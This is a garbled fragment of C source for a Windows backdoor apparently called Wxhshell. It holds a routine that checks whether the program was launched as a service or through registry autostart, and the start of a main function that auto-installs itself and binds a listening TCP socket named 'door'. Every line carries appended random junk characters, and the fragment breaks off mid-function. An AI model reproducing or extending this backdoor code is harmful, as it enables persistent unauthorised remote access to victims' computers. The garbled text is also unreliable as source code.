ULONG InheritedFromUniqueProcessId; <;#~l*
} PROCESS_BASIC_INFORMATION; &!/}Qp
^(|vsFzn
PROCNTQSIP NtQueryInformationProcess; `"&da#N]
h $L/<3oP6
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;uwRyd
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]cGA~d
|aT| l^2R@
HANDLE hProcess; UG'9*(*
PROCESS_BASIC_INFORMATION pbi; XVvK2(
k;w- E
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .)<(Oj|4
if(NULL == hInst ) return 0; rz@=pR :
$+>M{fg?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); WC.t_"@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kX>f^U{j
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y0_),OaY
)FpZPdN+h
if (!NtQueryInformationProcess) return 0; <-,gAk)u
N(y\dL=v
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q^r#F#*1l
if(!hProcess) return 0; 89wU-Aggq
~Uxsn@nLr
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uoXAQ6k
L7VG`h;
CloseHandle(hProcess); \>7^f
3m
O }(VlR2
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UmQ?rS8d
if(hProcess==NULL) return 0; 6bBB/yd
t=-SH^$SR
HMODULE hMod; 1$%V{4bJ
char procName[255]; ^sVX)%
unsigned long cbNeeded; 4)U.5FBk
)
?84
s4BpV1
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,ztI,1"k
?ON-+u
CloseHandle(hProcess); !-,t'GF(
Z| V`B `
if(strstr(procName,"services")) return 1; // 以服务启动 EpFQ|.mQ
WC|.g,9#
return 0; // 注册表启动 gMaN)ESqd4
} U5He?
Q)LM-ZJKQ
// 主模块 hED=u/ql[
int StartWxhshell(LPSTR lpCmdLine) 2EfF=Fm>
{ S6AU[ASY.
SOCKET wsl; `~ * @q!
BOOL val=TRUE; R0L&*Bjm
int port=0; 4( 1(e
struct sockaddr_in door; ;~\MZYs3m
[&nh5|f
if(wscfg.ws_autoins) Install(); DBCK2PlJ
"Q?k'^@
port=atoi(lpCmdLine); l"2OP6d
`g6h9GC6
if(port<=0) port=wscfg.ws_port; uvV;Mlo]
v0YG,)_
WSADATA data; R8T]2?Q1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bIEhgiH
!X<~-G2)l
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; mGGsB5#w>
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T9u <p=p
door.sin_family = AF_INET; Hv\-_>}K
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7?kIVP1r
door.sin_port = htons(port); ;Hj~n+
bf!M#QOk?
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { FDv+*sZ
closesocket(wsl); sH?/E6
return 1; FN%m0"/Z{t
} >B2q+tA
E
Kz'&